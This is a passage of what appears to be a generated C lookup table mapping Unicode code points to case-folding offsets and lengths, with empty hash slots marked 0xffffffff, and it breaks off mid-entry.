{0x03f7, 884, 1}, {0x118b4, 3570, 1}, {0x049c, 1112, 1}, {0x019c, 661, 1}, {0x1f9c, 189, 2}, {0x2c9c, 2628, 1}, {0x039c, 779, 1}, {0x24bc, 2361, 1}, {0xab9c, 1580, 1}, {0xa79c, 3129, 1}, {0x10c9c, 3441, 1}, {0x0222, 550, 1}, {0x1e7c, 1899, 1}, {0x047c, 1076, 1}, {0x1e82, 1908, 1}, {0x24b8, 2349, 1}, {0x0182, 357, 1}, {0x1f82, 139, 2}, {0x2c82, 2589, 1}, {0xab7c, 1484, 1}, {0xffffffff, -1, 0}, {0xab82, 1502, 1}, {0xa782, 3102, 1}, {0x10c82, 3363, 1}, {0x2c63, 1709, 1}, {0x24b6, 2343, 1}, {0x1e80, 1905, 1}, {0x0480, 1082, 1}, {0x1f59, 2190, 1}, {0x1f80, 129, 2}, {0x2c80, 2586, 1}, {0x0059, 71, 1}, {0xa682, 2937, 1}, {0xab80, 1496, 1}, {0xa780, 3099, 1}, {0x10c80, 3357, 1}, {0xffffffff, -1, 0}, {0x1e4c, 1826, 1}, {0x0145, 270, 1}, {0x014c, 279, 1}, {0x1f4c, 2184, 1}, {0x0345, 767, 1}, {0x0045, 12, 1}, {0x004c, 31, 1}, {0xa680, 2934, 1}, {0xa74c, 3036, 1}, {0x1e4a, 1823, 1}, {0x01d5, 441, 1}, {0x014a, 276, 1}, {0x1f4a, 2178, 1}, {0x03d5, 810, 1}, {0x00d5, 141, 1}, {0x004a, 24, 1}, {0x24bf, 2370, 1}, {0xa74a, 3033, 1}, {0xa64c, 2883, 1}, {0x1041c, 3321, 1}, {0x1e1c, 1754, 1}, {0x041c, 926, 1}, {0x011c, 213, 1}, {0x1f1c, 2118, 1}, {0x2c1c, 2505, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xa64a, 2880, 1}, {0x1041a, 3315, 1}, {0x1e1a, 1751, 1}, {0x041a, 920, 1}, {0x011a, 210, 1}, {0x1f1a, 2112, 1}, {0x2c1a, 2499, 1}, {0xabbd, 1679, 1}, {0x0545, 1394, 1}, {0x054c, 1415, 1}, {0x10418, 3309, 1}, {0x1e18, 1748, 1}, {0x0418, 914, 1}, {0x0118, 207, 1}, {0x1f18, 2106, 1}, {0x2c18, 2493, 1}, {0x10bd, 2832, 1}, {0x2163, 2301, 1}, {0x054a, 1409, 1}, {0x1040e, 3279, 1}, {0x1e0e, 1733, 1}, {0x040e, 1028, 1}, {0x010e, 192, 1}, {0x1f0e, 2100, 1}, {0x2c0e, 2463, 1}, {0x1efc, 2076, 1}, {0x04fc, 1256, 1}, {0x01fc, 496, 1}, {0x1ffc, 96, 2}, {0x051c, 1304, 1}, {0x1040c, 3273, 1}, {0x1e0c, 1730, 1}, {0x040c, 1022, 1}, {0x010c, 189, 1}, {0x1f0c, 2094, 1}, {0x2c0c, 2457, 1}, {0x1f6d, 2217, 1}, {0x2c6d, 607, 1}, {0x051a, 1301, 1}, {0x24be, 2367, 1}, {0x10408, 3261, 1}, {0x1e08, 1724, 1}, {0x0408, 1010, 1}, {0x0108, 183, 1}, {0x1f08, 2082, 1}, {0x2c08, 2445, 1}, {0x04c9, 1178, 1}, {0x0518, 1298, 1}, {0x1fc9, 2235, 1}, {0xffffffff, -1, 0}, {0x24ba, 2355, 1}, {0x00c9, 105, 1}, {0x10416, 3303, 1}, {0x1e16, 1745, 1}, {0x0416, 908, 1}, {0x0116, 204, 1}, {0x050e, 1283, 1}, {0x2c16, 2487, 1}, {0x10414, 3297, 1}, {0x1e14, 1742, 1}, {0x0414, 902, 1}, {0x0114, 201, 1}, {0x042b, 971, 1}, {0x2c14, 2481, 1}, {0x1f2b, 2133, 1}, {0x2c2b, 2550, 1}, {0xffffffff, -1, 0}, {0x050c, 1280, 1}, {0x10406, 3255, 1}, {0x1e06, 1721, 1}, {0x0406, 1004, 1}, {0x0106, 180, 1}, {0x13fb, 1697, 1}, {0x2c06, 2439, 1}, {0x24c2, 2379, 1}, {0x118bd, 3597, 1}, {0xffffffff, -1, 0}, {0x0508, 1274, 1}, {0x10404, 3249, 1}, {0x1e04, 1718, 1}, {0x0404, 998, 1}, {0x0104, 177, 1}, {0x1f95, 194, 2}, {0x2c04, 2433, 1}, {0x0395, 752, 1}, {0x24ca, 2403, 1}, {0xab95, 1559, 1}, {0x0531, 1334, 1}, {0x10c95, 3420, 1}, {0x0516, 1295, 1}, {0x1e6c, 1875, 1}, {0x046c, 1052, 1}, {0x016c, 327, 1}, {0x1f6c, 2214, 1}, {0x216d, 2331, 1}, {0x0514, 1292, 1}, {0x0245, 697, 1}, {0x024c, 598, 1}, {0xa76c, 3084, 1}, {0x10400, 3237, 1}, {0x1e00, 1712, 1}, {0x0400, 986, 1}, {0x0100, 171, 1}, {0x24c4, 2385, 1}, {0x2c00, 2421, 1}, {0x0506, 1271, 1}, {0x024a, 595, 1}, {0x1fab, 224, 2}, {0xa66c, 2931, 1}, {0x03ab, 827, 1}, {0x24cf, 2418, 1}, {0xabab, 1625, 1}, {0xa7ab, 631, 1}, {0x10cab, 3486, 1}, {0xffffffff, -1, 0}, {0x0504, 1268, 1}, {0xffffffff, -1, 0}, {0x021c, 544, 1}, {0x01a9, 679, 1}, {0x1fa9, 214, 2}, {0x10ab, 2778, 1}, {0x03a9, 820, 1}, {0x212b, 92, 1}, {0xaba9, 1619, 1}, {0x1e88, 1917, 1}, {0x10ca9, 3480, 1}, {0x021a, 541, 1}, {0x1f88, 129, 2}, {0x2c88, 2598, 1}, {0x0388, 730, 1}, {0x13fd, 1703, 1}, {0xab88, 1520, 1}, {0x10a9, 2772, 1}, {0x10c88, 3381, 1}, {0xffffffff, -1, 0}, {0x0218, 538, 1}, {0x0500, 1262, 1}, {0x1f4d, 2187, 1}, {0x01a7, 393, 1}, {0x1fa7, 244, 2}, {0x004d, 34, 1}, {0x03a7, 814, 1}, {0xa688, 2946, 1}, {0xaba7, 1613, 1}, {0x020e, 523, 1}, {0x10ca7, 3474, 1}, {0x1e6a, 1872, 1}, {0x046a, 1049, 1}, {0x016a, 324, 1}, {0x1f6a, 2208, 1}, {0xffffffff, -1, 0}, {0x216c, 2328, 1}, {0x10a7, 2766, 1}, {0x01d1, 435, 1}, {0xa76a, 3081, 1}, {0x020c, 520, 1}, {0x03d1, 762, 1}, {0x00d1, 129, 1}, {0x1e68, 1869, 1}, {0x0468, 1046, 1}, {0x0168, 321, 1}, {0x1f68, 2202, 1}, {0xffffffff, -1, 0}, {0xff31, 3207, 1}, {0xa66a, 2928, 1}, {0x0208, 514, 1}, {0xa768, 3078, 1}, {0x1e64, 1863, 1}, {0x0464, 1040, 1}, {0x0164, 315, 1}, {0x054d, 1418, 1}, {0x2c64, 673, 1}, {0xffffffff, -1, 0}, {0xff2b, 3189, 1}, {0xffffffff, -1, 0}, {0xa764, 3072, 1}, {0xa668, 2925, 1}, {0x0216, 535, 1}, {0xffffffff, -1, 0}, {0x118ab, 3543, 1}, {0x1e62, 1860, 1}, {0x0462, 1037, 1}, {0x0162, 312, 1}, {0x0214, 532, 1}, {0x2c62, 655, 1}, {0xa664, 2919, 1}, {0x1ed2, 2013, 1}, {0x04d2, 1193, 1}, {0xa762, 3069, 1}, {0x1fd2, 20, 3}, {0x2cd2, 2709, 1}, {0x118a9, 3537, 1}, {0x00d2, 132, 1}, {0x0206, 511, 1}, {0x10420, 3333, 1}, {0x1e20, 1760, 1}, {0x0420, 938, 1}, {0x0120, 219, 1}, {0xa662, 2916, 1}, {0x2c20, 2517, 1}, {0x1e60, 1856, 1}, {0x0460, 1034, 1}, {0x0160, 309, 1}, {0x0204, 508, 1}, {0x2c60, 2562, 1}, {0xffffffff, -1, 0}, {0x24bd, 2364, 1}, {0x216a, 2322, 1}, {0xa760, 3066, 1}, {0xffffffff, -1, 0}, {0xfb16, 125, 2}, {0x118a7, 3531, 1}, {0x1efa, 2073, 1}, {0x04fa, 1253, 1}, {0x01fa, 493, 1}, {0x1ffa, 2262, 1}, {0xfb14, 109, 2}, {0x03fa, 887, 1}, {0xa660, 2913, 1}, {0x2168, 2316, 1}, {0x01b7, 700, 1}, {0x1fb7, 10, 3}, {0x1f6b, 2211, 1}, {0x2c6b, 2577, 1}, {0x0200, 502, 1}, {0xabb7, 1661, 1}, {0xfb06, 29, 2}, {0x1e56, 1841, 1}, {0x2164, 2304, 1}, {0x0156, 294, 1}, {0x1f56, 62, 3}, {0x0520, 1310, 1}, {0x004f, 40, 1}, {0x0056, 62, 1}, {0x10b7, 2814, 1}, {0xa756, 3051, 1}, {0xfb04, 5, 3}, {0x1e78, 1893, 1}, {0x0478, 1070, 1}, {0x0178, 168, 1}, {0x1e54, 1838, 1}, {0x2162, 2298, 1}, {0x0154, 291, 1}, {0x1f54, 57, 3}, {0xab78, 1472, 1}, {0xa656, 2898, 1}, {0x0054, 56, 1}, {0x1e52, 1835, 1}, {0xa754, 3048, 1}, {0x0152, 288, 1}, {0x1f52, 52, 3}, {0x24c9, 2400, 1}, {0x1e32, 1787, 1}, {0x0052, 49, 1}, {0x0132, 243, 1}, {0xa752, 3045, 1}, {0xffffffff, -1, 0}, {0xfb00, 4, 2}, {0xa654, 2895, 1}, {0xffffffff, -1, 0}, {0xa732, 2997, 1}, {0x2160, 2292, 1}, {0x054f, 1424, 1}, {0x0556, 1445, 1}, {0x1e50, 1832, 1}, {0xa652, 2892, 1}, {0x0150, 285, 1}, {0x1f50, 84, 2}, {0x017b, 348, 1}, {0x1e4e, 1829, 1}, {0x0050, 43, 1}, {0x014e, 282, 1}, {0xa750, 3042, 1}, {0xab7b, 1481, 1}, {0xa77b, 3093, 1}, {0x004e, 37, 1}, {0x0554, 1439, 1}, {0xa74e, 3039, 1}, {0x1e48, 1820, 1}, {0xffffffff, -1, 0}, {0x216b, 2325, 1}, {0x1f48, 2172, 1}, {0xa650, 2889, 1}, {0x0552, 1433, 1}, {0x0048, 21, 1}, {0xffffffff, -1, 0}, {0xa748, 3030, 1}, {0xa64e, 2886, 1}, {0x0532, 1337, 1}, {0x1041e, 3327, 1}, {0x1e1e, 1757, 1}, {0x041e, 932, 1}, {0x011e, 216, 1}, {0x118b7, 3579, 1}, {0x2c1e, 2511, 1}, {0xffffffff, -1, 0}, {0xa648, 2877, 1}, {0x1ff9, 2253, 1}, {0xffffffff, -1, 0}, {0x03f9, 878, 1}, {0x0550, 1427, 1}, {0x10412, 3291, 1}, {0x1e12, 1739, 1}, {0x0412, 896, 1}, {0x0112, 198, 1}, {0x054e, 1421, 1}, {0x2c12, 2475, 1}, {0x10410, 3285, 1}, {0x1e10, 1736, 1}, {0x0410, 890, 1}, {0x0110, 195, 1}, {0xffffffff, -1, 0}, {0x2c10, 2469, 1}, {0x2132, 2289, 1}, {0x0548, 1403, 1}, {0x1ef8, 2070, 1}, {0x04f8, 1250, 1}, {0x01f8, 490, 1}, {0x1ff8, 2250, 1}, {0x0220, 381, 1}, {0x1ee2, 2037, 1}, {0x04e2, 1217, 1}, {0x01e2, 462, 1}, {0x1fe2, 36, 3}, {0x2ce2, 2733, 1}, {0x03e2, 857, 1}, {0x051e, 1307, 1}, {0x1ede, 2031, 1}, {0x04de, 1211, 1}, {0x01de, 456, 1}, {0xffffffff, -1, 0}, {0x2cde, 2727, 1}, {0x03de, 851, 1}, {0x00de, 165, 1}, {0x1f69, 2205, 1}, {0x2c69, 2574, 1}, {0x1eda, 2025, 1}, {0x04da, 1205, 1}, {0x0512, 1289, 1}, {0x1fda, 2244, 1}, {0x2cda, 2721, 1}, {0x03da, 845, 1}, {0x00da, 153, 1}, {0xffffffff, -1, 0}, {0x0510, 1286, 1}, {0x1ed8, 2022, 1}, {0x04d8, 1202, 1}, {0xffffffff, -1, 0}, {0x1fd8, 2274, 1}, {0x2cd8, 2718, 1}, {0x03d8, 842, 1}, {0x00d8, 147, 1}, {0x1ed6, 2019, 1}, {0x04d6, 1199, 1}, {0xffffffff, -1, 0}, {0x1fd6, 76, 2}, {0x2cd6, 2715, 1}, {0x03d6, 792, 1}, {0x00d6, 144, 1}, {0x1ec8, 1998, 1}, {0xffffffff, -1, 0}, {0x01c8, 421, 1}, {0x1fc8, 2232, 1}, {0x2cc8, 2694, 1}, {0xff32, 3210, 1}, {0x00c8, 102, 1}, {0x04c7, 1175, 1}, {0x01c7, 421, 1}, {0x1fc7, 15, 3}, {0x1ec0, 1986, 1}, {0x04c0, 1187, 1}, {0x00c7, 99, 1}, {0xffffffff, -1, 0}, {0x2cc0, 2682, 1}, {0x0179, 345, 1}, {0x00c0, 77, 1}, {0x0232, 574, 1}, {0x01b3, 402, 1}, {0x1fb3, 62, 2}, {0xab79, 1475, 1}, {0xa779, 3090, 1}, {0x10c7, 2859, 1}, {0xabb3, 1649, 1}, {0xa7b3, 3156, 1}, {0x1fa5, 234, 2}, {0x10c0, 2841, 1}, {0x03a5, 807, 1}, {0xffffffff, -1, 0}, {0xaba5, 1607, 1}, {0x01b1, 691, 1}, {0x10ca5, 3468, 1}, {0x10b3, 2802, 1}, {0x2169, 2319, 1}, {0x024e, 601, 1}, {0xabb1, 1643, 1}, {0xa7b1, 682, 1}, {0x10cb1, 3504, 1}, {0x10a5, 2760, 1}, {0xffffffff, -1, 0}, {0x01af, 399, 1}, {0x1faf, 244, 2}, {0xffffffff, -1, 0}, {0x0248, 592, 1}, {0x10b1, 2796, 1}, {0xabaf, 1637, 1}, {0x1fad, 234, 2}, {0x10caf, 3498, 1}, {0x04cd, 1184, 1}, {0x01cd, 429, 1}, {0xabad, 1631, 1}, {0xa7ad, 658, 1}, {0x10cad, 3492, 1}, {0x00cd, 117, 1}, {0x10af, 2790, 1}, {0x021e, 547, 1}, {0x1fa3, 224, 2}, {0xffffffff, -1, 0}, {0x03a3, 800, 1}, {0x10ad, 2784, 1}, {0xaba3, 1601, 1}, {0xffffffff, -1, 0}, {0x10ca3, 3462, 1}, {0x10cd, 2862, 1}, {0x1fa1, 214, 2}, {0x24b7, 2346, 1}, {0x03a1, 796, 1}, {0x0212, 529, 1}, {0xaba1, 1595, 1}, {0x10a3, 2754, 1}, {0x10ca1, 3456, 1}, {0x01d3, 438, 1}, {0x1fd3, 25, 3}, {0x0210, 526, 1}, {0xffffffff, -1, 0}, {0x00d3, 135, 1}, {0x1e97, 34, 2}, {0x10a1, 2748, 1}, {0x0197, 649, 1}, {0x1f97, 204, 2}, {0xffffffff, -1, 0}, {0x0397, 759, 1}, {0x1041d, 3324, 1}, {0xab97, 1565, 1}, {0x041d, 929, 1}, {0x10c97, 3426, 1}, {0x1f1d, 2121, 1}, {0x2c1d, 2508, 1}, {0x1e72, 1884, 1}, {0x0472, 1061, 1}, {0x0172, 336, 1}, {0x118b3, 3567, 1}, {0x2c72, 2580, 1}, {0x0372, 712, 1}, {0x1041b, 3318, 1}, {0xab72, 1454, 1}, {0x041b, 923, 1}, {0x118a5, 3525, 1}, {0x1f1b, 2115, 1}, {0x2c1b, 2502, 1}, {0x1e70, 1881, 1}, {0x0470, 1058, 1}, {0x0170, 333, 1}, {0x118b1, 3561, 1}, {0x2c70, 610, 1}, {0x0370, 709, 1}, {0x1e46, 1817, 1}, {0xab70, 1448, 1}, {0x1e66, 1866, 1}, {0x0466, 1043, 1}, {0x0166, 318, 1}, {0x1e44, 1814, 1}, {0x0046, 15, 1}, {0x118af, 3555, 1}, {0xa746, 3027, 1}, {0xffffffff, -1, 0}, {0xa766, 3075, 1}, {0x0044, 9, 1}, {0x118ad, 3549, 1}, {0xa744, 3024, 1}, {0x1e7a, 1896, 1}, {0x047a, 1073, 1}, {0x1e3a, 1799, 1}, {0xffffffff, -1, 0}, {0xa646, 2874, 1}, {0x1f3a, 2154, 1}, {0xa666, 2922, 1}, {0xab7a, 1478, 1}, {0x118a3, 3519, 1}, {0xa644, 2871, 1}, {0xa73a, 3009, 1}, {0xffffffff, -1, 0}, {0x1ef4, 2064, 1}, {0x04f4, 1244, 1}, {0x01f4, 487, 1}, {0x1ff4, 101, 2}, {0x118a1, 3513, 1}, {0x03f4, 762, 1}, {0x1eec, 2052, 1}, {0x04ec, 1232, 1}, {0x01ec, 477, 1}, {0x1fec, 2286, 1}, {0x0546, 1397, 1}, {0x03ec, 872, 1}, {0xffffffff, -1, 0}, {0x013f, 261, 1}, {0x1f3f, 2169, 1}, {0x0544, 1391, 1}, {0x1eea, 2049, 1}, {0x04ea, 1229, 1}, {0x01ea, 474, 1}, {0x1fea, 2256, 1}, {0xffffffff, -1, 0}, {0x03ea, 869, 1}, {0x1ee8, 2046, 1}, {0x04e8, 1226, 1}, {0x01e8, 471, 1}, {0x1fe8, 2280, 1}, {0x053a, 1361, 1}, {0x03e8, 866, 1}, {0x1ee6, 2043, 1}, {0x04e6, 1223, 1}, {0x01e6, 468, 1}, {0x1fe6, 88, 2}, {0x1f4b, 2181, 1}, {0x03e6, 863, 1}, {0x1e5e, 1853, 1}, {0x004b, 27, 1}, {0x015e, 306, 1}, {0x2166, 2310, 1}, {0x1ee4, 2040, 1}, {0x04e4, 1220, 1}, {0x01e4, 465, 1}, {0x1fe4, 80, 2}, {0xa75e, 3063, 1}, {0x03e4, 860, 1}, {0x1ee0, 2034, 1}, {0x04e0, 1214, 1}, {0x01e0, 459, 1}, {0x053f, 1376, 1}, {0x2ce0, 2730, 1}, {0x03e0, 854, 1}, {0x1edc, 2028, 1}, {0x04dc, 1208, 1}, {0xa65e, 2910, 1}, {0xffffffff, -1, 0}, {0x2cdc, 2724, 1}, {0x03dc, 848, 1}, {0x00dc, 159, 1}, {0x1ed0, 2010, 1}, {0x04d0, 1190, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x2cd0, 2706, 1}, {0x03d0, 742, 1}, {0x00d0, 126, 1}, {0x1ecc, 2004, 1}, {0x054b, 1412, 1}, {0xffffffff, -1, 0}, {0x1fcc, 71, 2}, {0x2ccc, 2700, 1}, {0x1ec6, 1995, 1}, {0x00cc, 114, 1}, {0xffffffff, -1, 0}, {0x1fc6, 67, 2}, {0x2cc6, 2691, 1}, {0x24c8, 2397, 1}, {0x00c6, 96, 1}, {0x04c5, 1172, 1}, {0x01c5, 417, 1}, {0xffffffff, -1, 0}, {0x1fbb, 2229, 1}, {0x24c7, 2394, 1}, {0x00c5, 92, 1}, {0x1fb9, 2271, 1}, {0xabbb, 1673, 1}, {0x24c0, 2373, 1}, {0x04c3, 1169, 1}, {0xabb9, 1667, 1}, {0x1fc3, 71, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x00c3, 86, 1}, {0x10c5, 2856, 1}, {0x10bb, 2826, 1}, {0x1ed4, 2016, 1}, {0x04d4, 1196, 1}, {0x10b9, 2820, 1}, {0x13fc, 1700, 1}, {0x2cd4, 2712, 1}, {0x0246, 589, 1}, {0x00d4, 138, 1}, {0x10c3, 2850, 1}, {0xffffffff, -1, 0}, {0xff3a, 3234, 1}, {0x0244, 688, 1}, {0x019f, 670, 1}, {0x1f9f, 204, 2}, {0xffffffff, -1, 0}, {0x039f, 789, 1}, {0xffffffff, -1, 0}, {0xab9f, 1589, 1}, {0xffffffff, -1, 0}, {0x10c9f, 3450, 1}, {0x019d, 667, 1}, {0x1f9d, 194, 2}, {0x023a, 2565, 1}, {0x039d, 783, 1}, {0x1e5a, 1847, 1}, {0xab9d, 1583, 1}, {0x015a, 300, 1}, {0x10c9d, 3444, 1}, {0x1e9b, 1856, 1}, {0x24cd, 2412, 1}, {0x005a, 74, 1}, {0x1f9b, 184, 2}, {0xa75a, 3057, 1}, {0x039b, 776, 1}, {0x1ece, 2007, 1}, {0xab9b, 1577, 1}, {0x1e99, 42, 2}, {0x10c9b, 3438, 1}, {0x2cce, 2703, 1}, {0x1f99, 174, 2}, {0x00ce, 120, 1}, {0x0399, 767, 1}, {0xa65a, 2904, 1}, {0xab99, 1571, 1}, {0xffffffff, -1, 0}, {0x10c99, 3432, 1}, {0x0193, 634, 1}, {0x1f93, 184, 2}, {0x1e58, 1844, 1}, {0x0393, 746, 1}, {0x0158, 297, 1}, {0xab93, 1553, 1}, {0xffffffff, -1, 0}, {0x10c93, 3414, 1}, {0x0058, 68, 1}, {0x042d, 977, 1}, {0xa758, 3054, 1}, {0x1f2d, 2139, 1}, {0x2c2d, 2556, 1}, {0x118bb, 3591, 1}, {0x0191, 369, 1}, {0x1f91, 174, 2}, {0x118b9, 3585, 1}, {0x0391, 739, 1}, {0xffffffff, -1, 0}, {0xab91, 1547, 1}, {0xa658, 2901, 1}, {0x10c91, 3408, 1}, {0x018f, 625, 1}, {0x1f8f, 164, 2}, {0xffffffff, -1, 0}, {0x038f, 836, 1}, {0xffffffff, -1, 0}, {0xab8f, 1541, 1}, {0xffffffff, -1, 0}, {0x10c8f, 3402, 1}, {0x018b, 366, 1}, {0x1f8b, 144, 2}, {0xffffffff, -1, 0}, {0x0187, 363, 1}, {0x1f87, 164, 2}, {0xab8b, 1529, 1}, {0xa78b, 3111, 1}, {0x10c8b, 3390, 1}, {0xab87, 1517, 1}, {0x04c1, 1166, 1}, {0x10c87, 3378, 1}, {0x1e7e, 1902, 1}, {0x047e, 1079, 1}, {0xffffffff, -1, 0}, {0x00c1, 80, 1}, {0x2c7e, 580, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xab7e, 1490, 1}, {0xa77e, 3096, 1}, {0x1e76, 1890, 1}, {0x0476, 1067, 1}, {0x0176, 342, 1}, {0x1e42, 1811, 1}, {0x10c1, 2844, 1}, {0x0376, 715, 1}, {0x1e36, 1793, 1}, {0xab76, 1466, 1}, {0x0136, 249, 1}, {0x0042, 3, 1}, {0x1e3e, 1805, 1}, {0xa742, 3021, 1}, {0x1e38, 1796, 1}, {0x1f3e, 2166, 1}, {0xa736, 3003, 1}, {0x1f38, 2148, 1}, {0xffffffff, -1, 0}, {0x0587, 105, 2}, {0xa73e, 3015, 1}, {0xffffffff, -1, 0}, {0xa738, 3006, 1}, {0xa642, 2868, 1}, {0x1e5c, 1850, 1}, {0x1e34, 1790, 1}, {0x015c, 303, 1}, {0x0134, 246, 1}, {0x1ef6, 2067, 1}, {0x04f6, 1247, 1}, {0x01f6, 372, 1}, {0x1ff6, 92, 2}, {0xa75c, 3060, 1}, {0xa734, 3000, 1}, {0x1ef0, 2058, 1}, {0x04f0, 1238, 1}, {0x01f0, 20, 2}, {0xffffffff, -1, 0}, {0x1e30, 1784, 1}, {0x03f0, 772, 1}, {0x0130, 261, 2}, {0x0542, 1385, 1}, {0xa65c, 2907, 1}, {0x1f83, 144, 2}, {0x0536, 1349, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xab83, 1505, 1}, {0x053e, 1373, 1}, {0x10c83, 3366, 1}, {0x0538, 1355, 1}, {0x1eee, 2055, 1}, {0x04ee, 1235, 1}, {0x01ee, 480, 1}, {0x1f8d, 154, 2}, {0xffffffff, -1, 0}, {0x03ee, 875, 1}, {0xffffffff, -1, 0}, {0xab8d, 1535, 1}, {0xa78d, 643, 1}, {0x10c8d, 3396, 1}, {0x0534, 1343, 1}, {0x0181, 613, 1}, {0x1f81, 134, 2}, {0x013d, 258, 1}, {0x1f3d, 2163, 1}, {0xffffffff, -1, 0}, {0xab81, 1499, 1}, {0x017f, 52, 1}, {0x10c81, 3360, 1}, {0x2c7f, 583, 1}, {0x037f, 881, 1}, {0xff2d, 3195, 1}, {0xab7f, 1493, 1}, {0x1e74, 1887, 1}, {0x0474, 1064, 1}, {0x0174, 339, 1}, {0x1e3c, 1802, 1}, {0x0149, 46, 2}, {0x1f49, 2175, 1}, {0x1f3c, 2160, 1}, {0xab74, 1460, 1}, {0x0049, 3606, 1}, {0x0143, 267, 1}, {0x24cc, 2409, 1}, {0xa73c, 3012, 1}, {0xffffffff, -1, 0}, {0x0043, 6, 1}, {0x0141, 264, 1}, {0x24c6, 2391, 1}, {0x013b, 255, 1}, {0x1f3b, 2157, 1}, {0x0041, 0, 1}, {0x0139, 252, 1}, {0x1f39, 2151, 1}, {0x24c5, 2388, 1}, {0x24bb, 2358, 1}, {0x13fa, 1694, 1}, {0x053d, 1370, 1}, {0x24b9, 2352, 1}, {0x0429, 965, 1}, {0x2183, 2340, 1}, {0x1f29, 2127, 1}, {0x2c29, 2544, 1}, {0x24c3, 2382, 1}, {0x10427, 3354, 1}, {0x10425, 3348, 1}, {0x0427, 959, 1}, {0x0425, 953, 1}, {0xffffffff, -1, 0}, {0x2c27, 2538, 1}, {0x2c25, 2532, 1}, {0x0549, 1406, 1}, {0x053c, 1367, 1}, {0x10423, 3342, 1}, {0xffffffff, -1, 0}, {0x0423, 947, 1}, {0x0543, 1388, 1}, {0xffffffff, -1, 0}, {0x2c23, 2526, 1}, {0xff36, 3222, 1}, {0xffffffff, -1, 0}, {0x0541, 1382, 1}, {0x10421, 3336, 1}, {0x053b, 1364, 1}, {0x0421, 941, 1}, {0xff38, 3228, 1}, {0x0539, 1358, 1}, {0x2c21, 2520, 1}, {0x10419, 3312, 1}, {0x10417, 3306, 1}, {0x0419, 917, 1}, {0x0417, 911, 1}, {0x1f19, 2109, 1}, {0x2c19, 2496, 1}, {0x2c17, 2490, 1}, {0x023e, 2568, 1}, {0xff34, 3216, 1}, {0x10415, 3300, 1}, {0x10413, 3294, 1}, {0x0415, 905, 1}, {0x0413, 899, 1}, {0xffffffff, -1, 0}, {0x2c15, 2484, 1}, {0x2c13, 2478, 1}, {0xffffffff, -1, 0}, {0x24ce, 2415, 1}, {0x1040f, 3282, 1}, {0xffffffff, -1, 0}, {0x040f, 1031, 1}, {0xff30, 3204, 1}, {0x1f0f, 2103, 1}, {0x2c0f, 2466, 1}, {0x1040d, 3276, 1}, {0xffffffff, -1, 0}, {0x040d, 1025, 1}, {0x0147, 273, 1}, {0x1f0d, 2097, 1}, {0x2c0d, 2460, 1}, {0x1040b, 3270, 1}, {0x0047, 18, 1}, {0x040b, 1019, 1}, {0x0230, 571, 1}, {0x1f0b, 2091, 1}, {0x2c0b, 2454, 1}, {0x10409, 3264, 1}, {0x10405, 3252, 1}, {0x0409, 1013, 1}, {0x0405, 1001, 1}, {0x1f09, 2085, 1}, {0x2c09, 2448, 1}, {0x2c05, 2436, 1}, {0x10403, 3246, 1}, {0x10401, 3240, 1}, {0x0403, 995, 1}, {0x0401, 989, 1}, {0xffffffff, -1, 0}, {0x2c03, 2430, 1}, {0x2c01, 2424, 1}, {0x13f9, 1691, 1}, {0x042f, 983, 1}, {0xffffffff, -1, 0}, {0x1f2f, 2145, 1}, {0x1041f, 3330, 1}, {0xffffffff, -1, 0}, {0x041f, 935, 1}, {0x023d, 378, 1}, {0x10411, 3288, 1}, {0x2c1f, 2514, 1}, {0x0411, 893, 1}, {0x0547, 1400, 1}, {0xffffffff, -1, 0}, {0x2c11, 2472, 1}, {0x10407, 3258, 1}, {0xffffffff, -1, 0}, {0x0407, 1007, 1}, {0x24c1, 2376, 1}, {0xffffffff, -1, 0}, {0x2c07, 2442, 1}, {0xffffffff, -1, 0}, {0x13f8, 1688, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff39, 3231, 1}, {0xffffffff, -1, 0}, {0x0243, 354, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x0241, 586, 1}, {0xff29, 3183, 1}, {0x023b, 577, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff27, 3177, 1}, {0xff25, 3171, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff23, 3165, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff21, 3159, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb17, 117, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff2f, 3201, 1}, {0xffffffff, -1, 